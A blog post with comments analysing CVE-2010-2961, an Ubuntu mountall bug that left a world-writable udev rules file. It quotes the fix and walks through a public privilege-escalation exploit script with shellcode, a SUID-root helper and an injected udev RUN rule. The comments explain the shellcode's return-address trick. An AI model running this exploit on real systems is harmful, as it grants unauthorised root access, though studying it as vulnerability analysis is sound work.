CVE-2010-2961: Ubuntu Linux mountall Privilege Escalation
This vulnerability was reported by Alasdair MacGregor and it’s as simple as this. The mountall(1) utility which is used as a mounting tool for UDEV rules, create rules that are owned by root and world writable! Example:
-rw-rw-rw- 1 root root 85 2010-10-08 22:04 /dev/.udev/rules.d/root.rules
If you read the bug tracking system’s comments you’ll probably notice Kees Cook’s comment who says:
Touching this file after initramfs boot doesn't seem to trigger a udev rules reload, so I think this file isn't actually being used by udev any more. That said, it should not be world-writable. Scott, can you confirm this can't be used to load arbitrary udev rules?
At last, the fix was to patch src/mountall.c like this:
if (root->mounted_dev != -1) { FILE *rules; + mask = umask (0022); mkdir ("/dev/.udev", 0755);
Which is a simple permissions addition using umask(2) system call as well as…
fclose (rules); } + umask (mask); } }
So, fuzz came up with an exploit shell script to take advantage of this issue. His exploit code is available here. Let’s see his code now…
#!/bin/sh # by fuzz. For Anux inc. # # ubuntu 10.04 , 10.10 if [ -z "$1" ] then echo "usage: $0 <UDEV KERNEL EVENT>" echo "see here http://www.reactivated.net/writing_udev_rules.html" exit fi
As you can read, the exploit code requires an argument which should be UDEV kernel event. Next we have:
cat > usn985-exploit.sh << EOF #!/bin/sh chown root:root $PWD/usn985-sc chmod +s $PWD/usn985-sc EOF
This will simply create another shell script file named ‘usn985-exploit.sh’ that will use chown(1) to update ‘usn985-sc”s owner and group to ‘root’ and add a SUID binary flag to it using chmod(1) utility. Of course, this file has to be present so the next part of his code will create that file.
cat > usn985-sc.c << EOF char *s="\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68" "\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"; main(){int *r;*((int *)&r+2)=(int)s;} EOF
Using a simple shell spawning shellcode and a call to it this C code will just spawn a shell. The exploit code will of course compile the newly created C source code file as you can read below.
gcc usn985-sc.c -o usn985-sc echo "KERNEL==\"$1\", RUN+=\"$PWD/usn985-exploit.sh\"" >> /dev/.udev/rules.d/root.rules chmod +x usn985-exploit.sh echo "All set, now wait for udev to restart (reinstall, udev upgrade, SE, raep, threat.)" echo "Once the conf is reloaded, just make the udev event happen : usn985-sc file will get suid-root"
And then write a new UDEV rule to ‘/dev/.udev/rules.d/root.rules’ that will use the user provided kernel event to execute the ‘usn985-exploit.sh’ script which will in turn make the shell spawning code a SUID root binary. Of course, ‘usn985-exploit.sh’ must be an executable file so this is what is done using chmod(1).
The scarier part is that an attacker doesn’t even have to wait for a udev event; they can generate them without physical access: http://www.outflux.net/blog/archives/2010/10/13/mountall-umask/
Kees Cook
October 13, 2010 at 17:16
Very nice trick, I like it :)
xorl
October 13, 2010 at 19:59
Please fix the colour scheme on your website. After reading the white-on-black text, I cannot read your black-on-dazzling-white code snippets.
Jeremy
October 14, 2010 at 08:49
@Jeremy: I’ll have a look at the wordpress provided themes but I cannot promise you that the theme will change soon. :(
xorl
October 14, 2010 at 11:52
Could you please explain this code snippet?
{int *r;*((int *)&r+2)=(int)s;}
I don’t get it completely. (int)s might be the address of the shellcode, but im lost with the left part of the equality.
Thanks!
pit
October 16, 2010 at 16:18
In a more readable form:
int *func;
*((int *) &func+2);
(*func) = (int)shellcode;
So, he just creates a pointer to a function (which is the ‘int *r’ or ‘func’ in my case) and sets his shellcode to be put and execute it through it.
The +2 is a trick. As you probably already know, this function will have a stack frame that begins with its frame pointer (EBP) and return address.
By adding 2 x (int *) to it will set this function pointer pointing to its return address. Then it replaces that return address with the shellcode in order to get it executed.
xorl
October 16, 2010 at 16:47
Thank you very much. So the point here is that he’s overwriting the return address with the shellcode address via the r pointer. ¡Good!
Thank you again, I love this blog.
pit
October 17, 2010 at 12:45
Of course you don’t need to actually use shellcode at all: system (“/bin/sh”) would have sufficed in this case. But it would probably be a less realistic example.
Nix
October 21, 2010 at 14:49
[…] This happens. So, what else can we do? Examining other recent advisories, you’ll learn about the Ubuntu mountall privilege escalation vulnerability. A bug in the mountall utility leaves a world-writeable root.rules file in /dev/.udev/rules.d. […]
Hacking Linux with Armitage – $ ls /blog
August 8, 2016 at 16:58